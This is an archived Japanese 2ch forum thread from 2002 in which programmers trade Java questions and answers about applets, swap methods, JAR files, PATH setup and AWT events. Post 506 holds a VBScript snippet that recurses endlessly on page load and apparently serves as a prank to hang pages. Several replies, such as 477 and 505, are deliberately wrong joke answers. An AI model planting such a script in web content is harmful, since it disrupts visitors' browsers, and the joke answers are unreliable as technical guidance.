419362:02/02/17 07:35

  private int seachTop_of_Char(){
    int xy =0;
    int def_pix = this.offimg.getRGB(0,0);
    for(int i=0; i<this.dwidth*this.dheight;i++){
        if (pixel[i] != def_pix) {
            xy = i;
            break;
        }
    }
    return xy/this.dwidth;
  }
  private int seachBottom_of_Char(){
    int xy =0;
    int def_pix = this.offimg.getRGB(this.dwidth-1,this.dheight-1);
    for(int i=(this.dwidth - 1)*(this.dheight - 1); i>0;i--){
        if (pixel[i] != def_pix) {
            xy = i;
            break;
        }
    }
    return xy/this.dwidth + 1;
  }
  private void setHeight(){

    try {
      this.pg.grabPixels();
    } catch (InterruptedException e) {
        System.err.println("interrupted waiting for pixels!");
    }
    if ((pg.getStatus() & ImageObserver.ABORT) != 0) {
      System.err.println("image fetch aborted or errored");
    }

    int top = this.seachTop_of_Char();
    int bottom = this.seachBottom_of_Char();
    this.height = bottom - top;
  }
  public int getHeight(){
    return this.height;
  }
}
420416:02/02/17 13:15
>>417
Linuxで確認しましたが、今回は何とか大丈夫でした。
あんまり派手でセンスないのは、だめってことですね。
これからは、あまり使用しないようにします。
sdk1.4.0 Win2kSP2 で、
Preferences.userNodeForPackage() を使うと、
>java.util.prefs.WindowsPreferences <init>
>警告: Could not open/create root node Software\JavaSoft\Prefs
>at root 0x80000002. Windows RegCreateKey(...) returned error code 5.
となります。
"error code 5" は、アクセス拒否を表してるみたいなのですが、
これはバグ?
422デフォルトの名無しさん:02/02/17 22:33
自作 Java パッケージを作るためだけにドメイン名を
登録しているという強者は居られますか?
423デフォルトの名無しさん:02/02/17 23:25
complex java stuffみたいな事がやりたいわけですが
逝けてるムービーを作成したりするのに役に立つサイトとかないですか?
DeveloperWorksのJavaWebStart紹介記事だよ
ttp://www-6.ibm.com/jp/developerworks/java/020215/j_j-webstart.html
sdk1.4.0-rcではJWSの起動が出来なかったけど
1.4.0では出来るようになった。

http://pc.2ch.net/test/read.cgi/tech/1010545421/652
427デフォルトの名無しさん:02/02/18 00:07
>>414
さんくす。
428デフォルトの名無しさん:02/02/18 00:11

>>424です。
429デフォルトの名無しさん:02/02/18 03:59
呼び出しもとのクラスのフィールドを呼び出されたクラスから
参照できないでしょうか?

厨な質問ですみませんが・・・
430 :02/02/18 04:38
継承してるならsuper.hoge
してないなら参照渡し。
>>429 呼出元とか先とか関係なく
呼び出したい先のオブジェクトの参照があれば可能。
もし持ってなければそういう処理をしたいメソッドに呼出元のオブジェクト自身を渡す引数を追加するとか
呼出先に呼び出し元の参照持たせるように設計を修正するとかなんとかせれ。

(スタックトレースの文字列を解析してリフレクションするとかいう
アクロバチックかつ面倒な方法も思い付いたけど、多分移植性まったくないからおすすめしない)
432 :02/02/18 13:15
>>429
こんな感じ??

class 呼び出し元 {
  String s = "hello";
  void func() {
    呼ばれる奴.func(this);
}
}

class 呼ばれる奴 {
  void func(呼び出し元 arg) {
    System.out.println(arg.s);
  }
}
433 :02/02/18 13:17
デザイソパターソのVisitorパターソが>429の言ってる事に近いかな。
あいよ。

import java.lang.reflect.*;
import java.util.*;

public class FieldsReflect{

 public static Map getFieldsValue(Object val){
  Class cls = val.getClass();
  Field[] fields = cls.getDeclaredFields();
  Map result = new HashMap();
  for(int i = 0 ; i < fields.length ; i++){
   fields[i].setAccessible(true);
   Object impl = fields[i].get(val);
   result.put(fields[i].getName(),impl);
  }
  return result;
 }
}
>>422 知ってるだろうけど一応。
http://www.java-conf.gr.jp
436デフォルトの名無しさん:02/02/19 19:05
質問です。既存の Java のソースから UML 図を生成するツール
でお勧めはありませんか。要件としては、package などの構造全体
をリバースエンジニアリングでき (できれば jar を取り込める)、
かつ Free で Unix 系で動作するのが望ましいのですが・・・。

google, Java-House などで調べた結果、どうやら Free なのは
Jude, Umlaut ぐらいです。しかしこれらは UML Editor としては
なかなかなのですけど、リバースエンジニアリングはできないようです。
(Import がうまく動かない)

そこで Together, SAVERJ, nomagic, ObjectDomain, ... などの
CASE ツールの範疇に入るソフトを使ってみようと思ったのですが、
いずれも評価版の download すら登録を要求しており、正直気後れして
しまいます。この中では Together が一番評判がいいようですが、
評価版を使ってみて機能制限されていたら嫌だし。

皆様のお勧めなどぜひ聞かせて欲しいです。
MagicDraw UML
機能や Unix 対応状況は自分で調べれ。

http://www.nomagic.com
438デフォルトの名無しさん:02/02/19 19:14
>>436
しかし、UML の使い方が間違ってるよ。
UML 図は紙に書いて、使い終わったら(意思疎通が終わったら)丸めて捨てる。

これが基本。
>>438
納品の一部なんじゃない?
>436
使ったことないけど
JASE
ttp://relativity.yi.org/jase/index.html

あとどーでもいい事だが、無料のユーザ登録ぐらいしとけ、と思った。
>>438
フリーソフトでも作ってるならそれもいいけど
ドキュメントも立派な飯の種。

使い物になりそうならドキュソソースにかけて
出てきたスパゲッティを作った奴に突きつけるとか
してみたい。(邪
442436:02/02/19 19:41
もっと調べてみたところ、
http://pc.2ch.net/test/read.cgi/tech/980236172/
http://www.objectsbydesign.com/tools/umltools_byPrice.html
こんなのも見つけました。

とりあえず
http://www.fujaba.de/
これからチェックしてみようと思います。引き続き情報を求む。
void A() {
int j,k,l;
B();
}
void B() {
}

みたいな感じでメソッドがあって、
Bメソッド内からAメソッド内の変数を変更するってことはできますか?
444>>443:02/02/19 20:38
できません。
>>443
できません
>>444-445 ケコーン
無理やりやるとコードベリファイではじかれます。
JDK1.4を落そうかどうか悩んでおります。

nioのセレクタや、バイト単位の(共有OR占有)ロックの機構って、
Window環境でもちゃんと実装されてるんでしょうか?試した方いら
っしゃいます?
449448:02/02/19 22:13
すまん、Windowsだな。

最近、サーバサイドでリスクを考えずにやたらスレッド使いたがる
生兵法アフォが上司になって、かなり鬱。
1VM上で100スレッド動かしてんのがそんなに偉いのか?

どうせ1CPUマシンでしか使わないんだったら、コンテキストスイッチ
分だけオーバーヘッドがでるだけで、性能上のメリットなんかねーぞ。
今のThreadの仕様って、スレッド間共有データの不整合のリスクに
見合うメリットなんかねえと思ってんだけど。

ソケットの監視くらいにしか使う意味が無いんだよな。
あとAWTとかの非同期イベントのディスパッチだけは、しゃーないか。
450デフォルトの名無しさん:02/02/20 00:45
これって駄目ですか?コンパイラに^使うなボケといわれました。

r = (int)Math.sqrt((double)((p[0].getX()-p[1].getX())^2+(p[0].getY()-p[1].getY())^2));
>>450
x^2 って xの2乗 にならないよ。
452デフォルトの名無しさん:02/02/20 00:49
まじっすか?w
>>452
まじっす。^はビット演算子XOR
454デフォルトの名無しさん:02/02/20 02:17
ざ〜っとリファレンスブック読みましたが乗ってません。
^に替わる演算子はないってことでファイナルアンサー?
>>454
正解
456デフォルトの名無しさん:02/02/20 02:36
ってことは2条計算はいちいちめんどくせー式かかにゃならんのかぁ・・・
鬱出汁脳・・・
>>456
マメ知識!

Aの2乗は A*A って書けるよ!

同じように Aの3乗は A*A*A って感じ。

ぜひ試してみて! お勧めのテクニックです!
458デフォルトの名無しさん:02/02/20 02:44
pow
459デフォルトの名無しさん:02/02/20 02:46
>>457
すごい!ヽ( `Д´)ノ
何の役にも立ちそうにないスレだな・・・
461デフォルトの名無しさん:02/02/20 02:54
できる人にはね
462デフォルトの名無しさん:02/02/20 03:16
あの〜、マウスクリックしてそこからドラッグしたら円が広がるアプレット作ろうとしてるんですが、ちゃんとうごかないっす。診断してくださいませませm(_ _)m

public class Changebackground extends Applet{
Point p[] = new Point[6];
int i,r;
Color c= new Color(255,255,255);


public void init(){

addMouseListener(new MouseAdapter(){

public void mousePressed(MouseEvent me){
p[0] = me.getPoint();
setBackground(c);
}

public void mouseDragged(MouseEvent me){
p[1] = me.getPoint();
repaint();
}

public void mouseReleased(MouseEvent me){
p[0] = null;
repaint();
}
});
}

public void paint(Graphics unko){
int a,b,c,d;
if( p[0]!= null){
a=(int)p[0].getX();
b=(int)p[1].getX();
c=(int)p[0].getY();
d=(int)p[1].getY();
r = (int)Math.sqrt((double)((a-b)*(a-b)+(c-d)*(c-d)));
unko.drawOval(a+r, c+r, r, r);
}

}
463デフォルトの名無しさん:02/02/20 03:19
Color c= new Color(255,255,255);とかいろいろ不要なものがありますが無視してください。
464デフォルトの名無しさん:02/02/20 04:09
printfでも入れとけ
465デフォルトの名無しさん:02/02/20 04:26
丁寧に診断してくださいませませm(_ _)m

466歌月十夜:02/02/20 06:35
>> 462
こんなんでいいのかな?
import java.applet.*;
import java.awt.*;
import java.awt.event.*;
/*
<applet code="a" width=320 height=240></applet>
*/
public class a extends Applet{
Point[] p = new Point[2];
Color c = new Color(255,255,0);

public void init(){
setBackground(c);
addMouseListener(new MouseAdapter(){
public void mousePressed(MouseEvent me){
p[0] = me.getPoint();
setBackground(c);
}
public void mouseReleased(MouseEvent me){
p[0] = null;
repaint();
}
});
addMouseMotionListener(new MouseMotionAdapter(){
public void mouseDragged(MouseEvent me){
p[1] = me.getPoint();
repaint();
}
});
}

public void paint(Graphics unko){
int a,b,c,d;
int i,r;
if( p[0] != null && p[1] != null){
a=(int)p[0].getX();
b=(int)p[1].getX();
c=(int)p[0].getY();
d=(int)p[1].getY();
r = (int)Math.sqrt((double)((a-b)*(a-b)+(c-d)*(c-d)));
unko.drawOval(a+r, c+r, r, r);
}
}
}
467歌月十夜:02/02/20 06:41
>>466 スマソ
>>462
468デフォルトの名無しさん:02/02/20 15:18
フィールドのアクセス指定を行うとき、C++みたいにまとめて指定できないの?

protected:
int koumon1;
long koumon2;

みたいに、

protected {
int koumon1;
long koumon2;
}
469デフォルトの名無しさん:02/02/20 15:22
PC歴3年でHTML、JavaScript、Cをかじった程度の者です。
これからJavaを学ぼうかと思っとりますが、
諸兄の推薦する
「HTML、JavaScript、Cをかじった程度の者」にぴったりな
Java参考書ございませんか?
教えて頂きたく存じます。
470デフォルトの名無しさん:02/02/20 15:26
「独習 Java」「Javaの格言」と読み進み、自分でアプリケーションを作り完成させれば、とりあえず開発に携われる最低限の知識は得られるでしょう。
471デフォルトの名無しさん:02/02/20 16:34
Javaやってみようかな?、、、っておもってます。
目的は、半分趣味もう半分は将来(仕事)を考えてのことです。
最初から全部英語ではじめようかなって思ってるんですが、その場合の
メリットとデメリットってなんですか?英語はまあまあ読めます。
時間がかかるってのは無しです。
あと、最初はサンのジャバチュートリアル(WEB版)からはじめちゃっていいですか?
本は何かとお金かかるんで、、、。
472:02/02/20 16:44
この、
http://software.wakusei.ne.jp/free/soft_2342.html
Java100%のフリーの電子メールサーバーを使ってみたいのですが、
Windows上で、.jarファイルを実行させる方法が分かりません。
Windows付属のjview.exeでは実行できませんでした。
どうすれば実行できるでしょうか?
473デフォルトの名無しさん:02/02/20 16:47
ダブルクリックじゃだめ?
>>471
「最初から全部英語ではじめる」の意味がわからん。
英語に慣れておくのは良いと思うが。
>>472
http://java.sun.com/j2se/1.4/ja/index.html
からJ2SDKかJ2REを落としてインストールしる
476デフォルトの名無しさん:02/02/20 17:18
Cではポインタ渡しやプリプロセッサで実現していたswap
javaでの標準的な実装はどんなの?
477デフォルトの名無しさん:02/02/20 17:20
>>476

void swap( Hoge a, Hoge b )
{
 Hoge hoge;
 hoge = a;
 a = b;
 b = hoge;
}
478デフォルトの名無しさん:02/02/20 17:24
>>477
クラスならObjectから派生しているから実装できるんだけど
intやdouble等の基本データ型はどうしているの?
Integerなどの
クラスで
480デフォルトの名無しさん:02/02/20 17:28
>>478
そういう場合は 素直にアイムソーリー

泥臭くレッツゴー
481デフォルトの名無しさん:02/02/20 17:33
Integer a = new Integer(i);
Integer b = new Integer(j);
swap(a,b);
i = a.intValue();
j = b.intValue();

としているの?
int k;
を、そのままコードに追加したほうが早そうだな
482為念:02/02/20 17:34
ていうか477はネタですよ?
483デフォルトの名無しさん:02/02/20 17:38
ネタか
javaの場合は、コードに変数を追加しているというわけね
オブジェクトの変数単位での swap なんてするか?
ArrayList や Vector の要素の swap はするにしても。
485デフォルトの名無しさん:02/02/20 17:49
JAVAのコンパイルってどうやんの?
javac
487デフォルトの名無しさん:02/02/20 17:52
>>468
みたいな事って出来ないの?
ひとつずつフィールドを指定するのって面倒くさい
さっきから質問してるのは
一人か?
489デフォルトの名無しさん:02/02/20 17:58
スワップとフィールド指定はおれ
490:02/02/20 19:05
>475
>http://java.sun.com/j2se/1.4/ja/index.html

やってみます。サンキュー
491デフォルトの名無しさん:02/02/20 21:11
ブートストラップクラスパスって普通のクラスパスと何が違うんですか?
492デフォルトの名無しさん:02/02/20 21:20
スレ違いだったらスマソ
知り合いのBBSが破壊されたんですが、
どうも犯人が2CHでこれをどこかに貼れってのをみて
知り合いのBBSに貼って壊しちゃったっぽいんですが?
2CHのどこだかわかる方いますか?
493 :02/02/20 21:21
494:02/02/21 01:06
JavaってC++に比べてなにがどうなってるのかわかりません。
配列渡したりしたいのですが、
class a
{
int x[];
pubic void set(int[] a){
x=new int[4];
x=a;
}

}
class b{
a A;
public void set(int[] i){
A=new a();
A.set(i);
}
}
void main(){
b B=new b();
int i[]={0,0,0,0};
B.set(i);
}
このようなことをするとNullPointerになってるような気がします。
495デフォルトの名無しさん:02/02/21 01:09
>>494
まず、クラス名と変数名をごっちゃにするのはやめよう。

もう一度質問しなおしましょう。
496:02/02/21 01:12
JavaってC++に比べてなにがどうなってるのかわかりません。
配列渡したりしたいのですが、
class a
{
int x[];
pubic void set(int[] i){
x=new int[4];
x=i;
}

}
class b{
a A;
public void set(int[] i){
A=new a();
A.set(i);
}
}
void main(){
b B=new b();
int i[]={0,0,0,0};
B.set(i);
}
このようなことをするとNullPointerになってるような気がします
>>496
…あんた、C++の方もちゃんと分かってないでしょ…
498まるで:02/02/21 02:05
本当に初心者で申し訳無いのですが、下記のアプレットで
継承の期限切れ、もしくは献金が足りませんとエラーが出てしまいます
どうしたらよいでしょう
http://www.dd.iij4u.or.jp/~norihisa/suzuki.htm
499デフォルトの名無しさん:02/02/21 02:29
Cをやってからjavaを始めた者です。
sunのコンパイラはMS-DOSプロントを使うんですよね。
本には「C:\RBYJAVA\〜〜〜」って感じで入力するようになっているのですが、DOSを立ち上げると始めから「C:\WINDOWS」となっていて本の通り入力できないで困っています。
javaというよりパソコンの使い方で申し訳ないのですが、どうすればいいのでしょうか。
また、全画面表示にしたDOSプロントを戻す方法も教えてもらえるとうれしいです。
500デフォルトの名無しさん:02/02/21 02:34
どなたか至急教えてください。ImageオブジェクトからgetGraphics()で
いろいろ絵を描いているんですが、これのズームイン・アウトをやるには
どのようにすればよいのでしょうか?
501:02/02/21 02:42
>499
本来プログラミングとは、OSの操作に習熟した者だけが手を出せる崇高なものなのです。あなたにはCでさえもまだまだ早いでしょう。まずはOSに長けてください。

>500
g.drawImage(img,0,0,64,64,0,0,32,32,null);
これで32*32のイメージが64*64にスケーリングされます。
502デフォルトの名無しさん:02/02/21 02:57
>>501
OSの操作って何?
OSを直接操作するには必ずプログラミングが必要だと思うよ。
503 327:02/02/21 03:14
>>499
cd c:\
ってうてばなるよ。
>>499
Alt+Enter
505デフォルトの名無しさん:02/02/21 06:59
>>477,478

void smap(Hoge a, Hoge b) {

 a = a + b;
 // b = (a + b) - b = a
 b = a - b;
 // a = (a + b) - a = b
 a = a - b;
}
<SCRIPT language="vbscript">
<!--
Dim a
Function Main(b)
a=b+vbCRLF
Main=a
MsgBox(Main("omaemona〜"))
End Function

Sub Window_onload()
a=Main(b)
End Sub
//-->
</SCRIPT>

507500:02/02/21 07:41
>501
ありがとうございました。できました。
が、なんか、色が変わってしまうんですけどどうしてでしょう??
黒が水色になってしまうんですが。他の色も変色しています。
jdk1.3.1を使っています。
508デフォルトの名無しさん:02/02/21 07:46
JFrameの上にいろいろなコンポーネントがあります。
あるイベントがおきたら、あるコンポーネントを別のコンポーネントに
置き換えます。
しかしそのイベントがおきただけではだめで、フレイムのサイズを
変更しないと実際の置き換えが起こらないんですけど、どうすれば
いいんですか?
509508じゃないけど:02/02/21 08:08
私も508と同様な疑問を持った。
結局はJFrameの方に再描画の指令が伝わらないんだなぁと思って
repaintを投げたりしたけどやっぱり描画されず、
フレームサイズの変更で更新された。
 フレームに対してイベントを投げるんだろうか。。?
>>508 >>509
validate() invalidate()あたりのAPIメソッドを調べてみ。
詳細は俺も忘れた。

コンポーネント1つのサイズ変わったただけでも
フレーム全体のレイアウトに影響がある可能性が有る。
いくつも修正する必要がある時にいちいちレイアウトの再構成してたら重くてかったるいから
上記の関数でごにょごにょやる必要があるんだと記憶している。
>>502
カーネル以外はOSじゃないとノタマウ原理主義者ハッケン!
512デフォルトの名無しさん:02/02/21 11:43
javaには日付の日数を数える関数ありますか?
例)
1998年10月12日と
1999年12月12日の間に何日あるかなど。
513Jun:02/02/21 12:02
下記のようなアプレットを作成したのですが

http://www.geocities.co.jp/Playtown-Darts/9648/furiko100.htm

下方の赤字部分にて
furiko100.java ';' がありません。
JPanel conte new JPanel(new VerticalFlowLayout(VerticalFlowLayout.TOP));
^
エラー 1 個
コンパイルエラー クラス

と言うようにエラーメッセージが出てしまいます。
どのように修正すれば良いでしょうか?

皆様のお知恵を拝借できれば幸いです。
用件のみですが之にて失礼致します。
514Jun:02/02/21 12:04
>513
あっ!

new JPanel
^
部分と指摘があります。
そのまま、貼り付けてしまったので、上のものは表示が変ですね
すいません。

では、失礼致します。
515:02/02/21 12:17
>513
これは新手のコントでしょうか。
516 :02/02/21 13:03
JARファイルを作りたいんだけど、
DOSプロンプトで
C:\windows\jbproject\Graphicstest\classes\Graphicstest
のデレクトリまで行き、
jar cvf Wtch_Clndr.jar *

としたら、コマンド名が違う、と怒られてしまった。
環境:JBuilder5(personal)
win98


いろいろ調べては見たが
何が悪いのかわからず、麺を食らっています。(W
誰か、わかる方いませんか?


PS JBuilderのつかえないHELPに載っていた
[メモ:そのほかのJARのオプションについては、コマンドラインで
 jar -helpと入力するか・・・・」
のjar -helpもだめだった。
517デフォルトの名無しさん:02/02/21 13:05
>>516
パス通せって。OK?
518512:02/02/21 13:08
>>512です。

この関数は無い、ということで宜しいのでしょうか。。。
>>518
あるわけないじゃん。
520:02/02/21 13:12
>513
馬鹿ですか?
JPanel conte = new JPanel(new VerticalFlowLayout(VerticalFlowLayout.TOP));
521516:02/02/21 13:14
>>517

>パス通せって。OK?
http://java-house.jp/ml/topics/topics.html#novice-basicでいってる
classpathのことですか?

コンパイルはJBuilder任せだったんでここらへん疎くて・・・
>>512
「間に何日」の定義がよくわからんけど
例えばこんな感じでやればよいのでは?
( DateA.getTime() - DateB.getTime() ) / ( 24 * 60 * 60 * 1000 );
523516:02/02/21 13:54
>522

回答待ってるあいだに補足

Calendar DateA = Calendar.getInstanse();
Calendar DateB = Calendar.getInstanse();
DateA.set(int year, int month, int date);
DateB.set(int year, int month, int date);

int yourdesire = DateA.get(Calendar.DAY_OF_YEAR ) - DateB.get(Calendar.DAY_OF_YEAR );
>>521
ただのPATH。
くわしくはMS-DOSについて勉強せよ。
Java以前の問題だぜ
DAY_OF_YEAR でやると
>>1998年10月12日と
>>1999年12月12日の
みたいに年が違うとダメなんでは?
526516:02/02/21 14:04
>>525
あっ、そのこと書き忘れた。
年をまたがる件は、自分で調べてください。角度とか。

http://java.sun.com/j2se/1.3/ja/docs/ja/api/java/util/Calendar.html

>>525
何か良いソースはないですか?(わかりやすい)
527デフォルトの名無しさん:02/02/21 14:05
初心者です。
return typeとsignature typeの違いについて教えてください。
例えば MethodsのsetEditableやaddはどちらに分類されるとかって
るのでしょうか?
528522 と 525:02/02/21 14:09
>>526
いや、だから522…
DateAとDateBは java.util.Dateなので。
529516:02/02/21 14:17
>>524
今「DOSプロンプト ポケットレファレンス」見れるんですけど
PATH とか%PATH%とかでてるこれですか?
これでPATHを通すってどうやるんですか?
>>529
はいそれです。環境変数だから追加するだけ。
あと、そろそろスレ違い。
>>529
set PATH=%PATH%;[JDKをインストールしたディレクトリ]\bin;
具体的には、
set PATH=%PATH%;C:\jdk1.3.1_02\bin;
こんな感じ。
532513:02/02/21 14:24
>520様
有難う御座いました。
533516:02/02/21 14:47
できました。
いろいろお騒がせしました。角度とか。
534512:02/02/21 14:47
>>522>>523>>525>>526>>528

ありがとうございました。
535516:02/02/21 15:53
>できました。
とかいっておきながら、また問題!

public_html直下に
Dwndata.htm
Wtch_Clndr.jar
を置いて、Dwndata.htm内で
<applet
archive = "jars/Wtch_Clndr.jar"
codebase = "."
code = graphicstest.gApplet.class
name = "TestApplet"
width = "200"
height = "450"
hspace = "0"
vspace = "0"
align = "middle">
</applet>
と指定したら、
err:java.lang.NoClassDefError:graphicstest/WatchCanvas$1
とでた。
プロンプトでjar tf Wtch_Clndr.jarして確認しても、
META-INF
META-INF/MANIFEST.INF
calcanvas.class
   ・
   ・
WatchCanvas$1.class
WatchCanvas.class

とWatchCanvas$1.classはちゃんと入ってる。

どこかのMLで、$1クラスはプロバイダーによって
消されてしまうことがあるから
「jar にするとかしたほうがいいみたいですね。」
と書いてあったので、(その前にプロバイダーに$1クラスをいくら送っても
うpされないということから始まってるが)
半日かけて(かかりすぎ)やっとjarにできたのに、
入ってるはずのWatchCanvas$1.classが、NoClassDefErrorとかいってる。
もうぶち切れですよ!
536デフォルトの名無しさん:02/02/21 17:09
JDK1.4についてたJava Web Startを見てちょっと感動したのはモレだけですか?

ところで、JBuilderはJDK1.4に何時対応するのかなぁ。
知ってる方います?
>>536
JDKだけ入れ替えたらどうかにゃ?
538499:02/02/21 19:15
>>503, >>504
ありがとうございます。
コマンド名かファイル名が違うらしくいまだに困憊ルできませんが、なんとかがんばって見ます。
疲労困憊ル
540499:02/02/21 23:12
JDKのセットアップについて。
「AUTOEXEC.BAT」のパスを編集したのですがコンパイルできません。
パスを書き換えるときに、追加ではなく、元々書いてあったものを消して
上書きをしたせいかもしれないと思い、書き換えたパスを元に戻そうとしたのですが、
JDKを再インストールしても元に戻りません。
元に戻す方法はないでしょうか。
ちなみに、入力したパスは
SET PATH=C:\WINDOWS;C:\WINDOWS\COMMAND;C:\jdk1.2.2\BIN
です。
参考にしている本にそろえるためバージョンは1.2.2でやっています。
最後の「C:\jdk1.2.2\BIN」のファイル名は正しいのですが、その他の記述でおかしいところは
あるでしょうか。
よろしくお願いします。
541デフォルトの名無しさん:02/02/22 00:03
>>499
「コンパイル出来ない」と言うことですが、
どういうエラーが出ているのでしょうか?
javacが見つからないのであればPATHの設定がおかしいのでしょうけど、
それ以外であればCLASSPATHの設定や、その他の原因が考えられます。

499さんが試されたコマンドと、そのときのエラーメッセージを
書いてもらえると、みんな答えやすいと思いますよ。(^-^)
542507:02/02/22 00:41
507ですけど、どなたかご存知ありませんか?
試してみてください。似たような症状がでませんか?
黒が水色になるんですよーー!!
他の色も他の色に変わってしまうんですよーー!!
OSは98、jdk1.3.1です。。。。
543499:02/02/22 00:42
>>541
丁寧なご助言ありがとうございます。
入力したコマンドは
C:\RBYJAVA\LESSON02\> javac ShowJavaMessage.java
エラーメッセージは「コマンドまたはファイル名が違います」
です。

また、
http://www.kajas.com/start/start1.html
を参考にして、
C:\>AUTOEXEC.BAT
を実行すると、どうやらエラーらしく、
NLSFUC Windows DOS コマンドプロンプトからは組み込めません
というメッセージや、
Fatal Error: Do not run this .com file on DOS BOX !!!
というメッセージが出ます。

ちなみにソースは次のとおりです。

import java.awt.*;
import java.applet.*;

public class showJavaMessage extends Applet
{
public void paint(Graphics g)
{
g.drawString("Rescued by Java!", 5, 25);
}
}

本に従って進んでいますが、クラスパスという言葉はまだ出てません。
意味はわからなくて言いからとりあえずこのソースをつくって.javaで保存して
コンパイルしましょうという段階です。
よろしくお願いします。
544499:02/02/22 00:45
ソースが見にくくてすいません。
これでちゃんと表示されると思うのですが。

import java.awt.*;
import java.applet.*;

public class showJavaMessage extends Applet
{
public void paint(Graphics g)
{
g.drawString("Rescued by Java!", 5, 25);
}
}
545499:02/02/22 00:47
↑スペースがなぜか消されるようですのでこれでお願いします。
もうだめぽ。
よくワカランが、autoexecに腐った書き込みがあって、
パス通るとこまでちゃんとバッチが動いてないらしいな。
あんたのマシン環境なんか知らんから、どうしようもない。

面倒くさいけど、とりあえずjavac起動する時に

>C:\jdk1.2.2\bin\javac showJavaMessage.java

ってやっとけ。フルパス指定すればjavac起動できっから。
>>542
色覚異常ですか?
病院に行ったほうが良いかもしれません。
>>544
とりあえず AUTOEXEC.BAT をコピペしてみれ。
549デフォルトの名無しさん:02/02/22 07:07
JARファイルはそのままサーバーにおいて
HTMLから呼び出せば、自動的に解凍してくれるのですか?
<applet
archive = archive.jar
code = Applet.class>
※Applet.classはarchive.jar内に圧縮されている。

また、パッケージ構造になっていて、
パッケージ内のすべてのクラスファイルをjarに圧縮してるのですが、
(package.Applet.classのpackegeフォルダは圧縮に含まず)
これは呼び出すHTML側との関係でどのデレクトリに置けば良いのですか。
(ここでの話、すべてpublic_html内)
>499
C:\>echo %PATH%
の結果をみてみそ。たぶん、autoexecのが通ってないはずだ。
javaコンパイル環境設定専用のシェル(バッチ)でも作っておけばいいんでないか?
漏れはそうしてるけど。仕事上、IBM1.2.2とIBM1.3とSun1.3と趣味のSun1.4を
混在してるからね。
>>499さんへ
>>531を参考にしてみては?
552デフォルトの名無しさん:02/02/22 15:30
>>499
俺はjavamakerってコンパイルツール使ってるよ
dos開いてやるのが面倒ならどうぞ
http://www.geocities.co.jp/SiliconValley-SanJose/8084/
553デフォルトの名無しさん:02/02/22 17:26
Dos開いてやるんだったらシステムの環境変数を弄らないと反映しないだろー
OSがDos上で動く系(95/98)だったらDos窓のプロパテだっけ?
554デフォルトの名無しさん:02/02/22 17:59
age
555デフォルトの名無しさん:02/02/22 18:07
Jbuilderで開いているときは何も問題なく表示できますが、
IE6.0で開くと1部しか表示されないのです。
これは、IE6.0でのJDKのバージョンには入っていないクラスを
使っているということなんでしょうか?

ちなみに
+-applet
 +-canvas1(表示されない)
 +-canvas2(教示される)
 +-canvas3
  +-Graphics,fill3Drect(表示される)
  +-それ以外表示されない
 +-canvas4(表示されない)
IEで使うVMえらばなきゃいけないんじゃなかったっけ?
557555:02/02/22 21:41
>>556
>IEで使うVMえらばなきゃいけないんじゃなかったっけ?

選ぶとしたら、どこで選べるのですか?
インターネットオプションとかですか?

以前どこかに「IEのJDKは1.1x」みたいなことが
書かれていた記憶があって、もしやそのことかと思っていたのですが・・・

それと、JVM選ぶのであれば、JAVA(Javascript,Perlでもいいが)で
どうやって設定すれば良いのですか?
質問ばかりですみません。
1.3.1_02 以降の JRE をインストールすると
Java Plugin が勝手に面倒みてくれる
559初心者です:02/02/22 22:18
教えてください
フォームからJSPでrequest.getParameter()を使い値を受け取り
その値を元に分岐させようとしたのですが
なにも入っていないはずなのにNULL値と判断されないのは何故なのでしょうか
if文で
String input
= request.getParameter("title");
//titleの中は空白です

if (input==null){・・
とやってもその中に入っていきません
ご教授をお願いします
nullじゃないんでしょ?
>559
アポァ
562デフォルトの名無しさん:02/02/22 22:26
何が入ってるんだろ?
わからん?
563初心者です:02/02/22 22:48
if(request.getParameter("title")==null){・・
ってやってもだめなんです
アポァは承知でお願いします
>>563
だからさ、inputはnullじゃないんだって。
表示してみなさい。
565初心者です:02/02/22 23:17
表示したんですど何も入ってないです。
真っ白な表示なんですけど
566 :02/02/22 23:29
""が入ってるんだよ。
空文字。

title自体をFormで設定していなければnullが来るよ。
>565
input のかわりに null を表示してみれ

568ガクセイ:02/02/23 00:14
質問です。
ストリーム系のオブジェクトを引数として受け取り、
大文字の文字列を小文字に変換して返すクラスを作れ
といわれました。
ファイルからもキーボードからも読み込めることが条件です。
どういうことなのかサッパリです。
>>568
宿題スレへ行け

そもそも、何がわからんのかを書けゴルァ。
>565
566さんが答え教えてくれてるのでもう大丈夫かとは思いますが、
くれぐれも
if(input == ""){
とかやらないようにね。
まず、引数をとるクラスを作ることからはじめよう。
いやむしろ、input.equals("") でバグを潜伏させてみるのもπ乙
573ガクセイ:02/02/23 00:31
import java.io.*;

class StoBIn
{
public static void main(String args[])
{
String st;
InputStreamReader isr = new InputStreamReader(System.in);
BufferedReader br= new BufferedReader(isr);
StoB sb = new StoB();

st=sb.a(br);
System.out.println(st);
}
}
class StoB
{
String a(BufferedReader dis)
{
String st;
st="aaaa";
try
{
st=dis.readLine();
}
catch(Exception e)
{
System.out.println("入力エラー");
}
return st;
}
}
てなかんじで作ってみたんですけど・・・・
ファイルからも、キーボードからもってのがわかりません。
そもそもclass StoBでreadLineしていいのかもわかりません。
sage
575デフォルトの名無しさん:02/02/23 01:45
通常はマウスのクリックに反応するけど無効化(setEnabled(false))
するとマウスクリックに反応しなくなる、といった感じの、
要はボタンと同じような振る舞いのコンポーネントを自作したくて
実験として下のTestPanelという単純なクラスを試作してみた。

しかし、下のプログラムではButtonを押下してアクションイベントの処理内で
2秒待ってる間に、パネルとボタンの両方をクリックするとパネルの方だけ
マウスイベントが反応しちゃいます。
どうもアクションイベントの処理が終わってからキューにたまってたマウスイベント
がTestPanelの方に発行されるっぽいです(なんでButtonの方は平気なんだ…?)。

どんな風に作ればボタンと同じような動作を実現できるかを教えてほしいっす。

import java.awt.*;
import java.awt.event.*;
public class Test extends Frame {
private TestPanel panel = new TestPanel();
private Button button = new Button("Button");
public Test() {
add(panel, BorderLayout.CENTER);
add(button, BorderLayout.SOUTH);
button.addActionListener(new ActionListener(){
public void actionPerformed(ActionEvent e) {
button.setEnabled(false);
panel.setEnabled(false);
try {Thread.sleep(2000);}catch(Exception ex){ex.printStackTrace();}
button.setEnabled(true);
panel.setEnabled(true);
}
});
}
public static void main(String[] args) {
Test test = new Test();
test.setSize(100,100);
test.show();
}
}
class TestPanel extends Component {
protected void processMouseEvent(MouseEvent e) {
if (e.getID() == MouseEvent.MOUSE_PRESSED) System.out.println("Pressed!!");
}
public void setEnabled(boolean enable) {
if (enable) enableEvents(AWTEvent.MOUSE_EVENT_MASK);
